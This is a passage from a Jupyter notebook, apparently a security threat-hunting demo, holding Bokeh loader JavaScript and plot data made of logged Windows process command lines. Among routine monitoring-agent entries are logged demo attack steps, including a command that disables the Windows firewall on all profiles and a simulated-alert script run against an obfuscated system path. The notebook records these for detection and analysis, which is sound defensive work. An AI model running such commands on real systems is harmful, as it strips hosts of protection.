=== true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"1625\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"1625\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "\n", - "\n", - "\n", - "\n", - "\n", - "\n", - "
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-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\CMF/DesiredStateConfiguration\\\\DscRun.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\\localhost.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\Resources\\\\884\\\\pmfexe.exe\\\" -PerfMode optimize -quickscan -event -json -alldetectors\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\CMF/DesiredStateConfiguration\\\\DscRun.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\\localhost.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\CMF-64/DesiredStateConfiguration\\\\DscRun.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\\Registry.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\CMF/DesiredStateConfiguration\\\\DscRun.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\\localhost.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"NaN\",\"cmd.exe /c c:\\\\Diagnostics\\\\WinSimulateAlerts.cmd c:\\\\W!ndows\\\\System32 4\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"cmd /c echo Begin Security Demo tasks\",\"cmd /c echo Any questions about the commands executed here then please contact one of\",\"cmd /c echo timb@microsoft.com; ianhelle@microsoft.com; shainw@microsoft.com\",\".\\\\tsetup.1.exe C:\\\\Users\\\\MSTICAdmin\\\\AppData\\\\Local\\\\Temp\\\\2\\\\is-01DD7.tmp\\\\tsetup.1.0.14.tmp\\\" /SL5=\\\"$250276,19992586,423424,C:\\\\Users\\\\MSTICAdmin\\\\Downloads\\\\tsetup.1.0.14.exe\",\".\\\\netsh.exe firewall set opmode mode=disable profile=all\",\"cmd /c echo End Security Demo tasks\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\\\" /ua /installsource scheduler\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"NaN\",\"C:\\\\Windows\\\\servicing\\\\TrustedInstaller.exe\",\"C:\\\\Windows\\\\system32\\\\sppsvc.exe\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\\\" /svc\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\Install\\\\{049CD3BD-D98E-4D19-9695-9DCDF6AF728C}\\\\72.0.3626.109_72.0.3626.96_chrome_updater.exe\\\" --verbose-logging --do-not-launch-chrome --system-level\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Chrome\\\\Application\\\\72.0.3626.96\\\\Installer\\\\setup.exe\\\" --update-setup-exe=\\\"C:\\\\Windows\\\\TEMP\\\\CR_42BC8.tmp\\\\SETUP_PATCH.PACKED.7Z\\\" --new-setup-exe=\\\"C:\\\\Windows\\\\TEMP\\\\CR_42BC8.tmp\\\\setup.exe\\\" --verbose-logging --do-not-launch-chrome --system-level\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Chrome\\\\Application\\\\72.0.3626.96\\\\Installer\\\\setup.exe\\\" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\\\\Windows\\\\TEMP\\\\Crashpad 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-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service Stat...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring 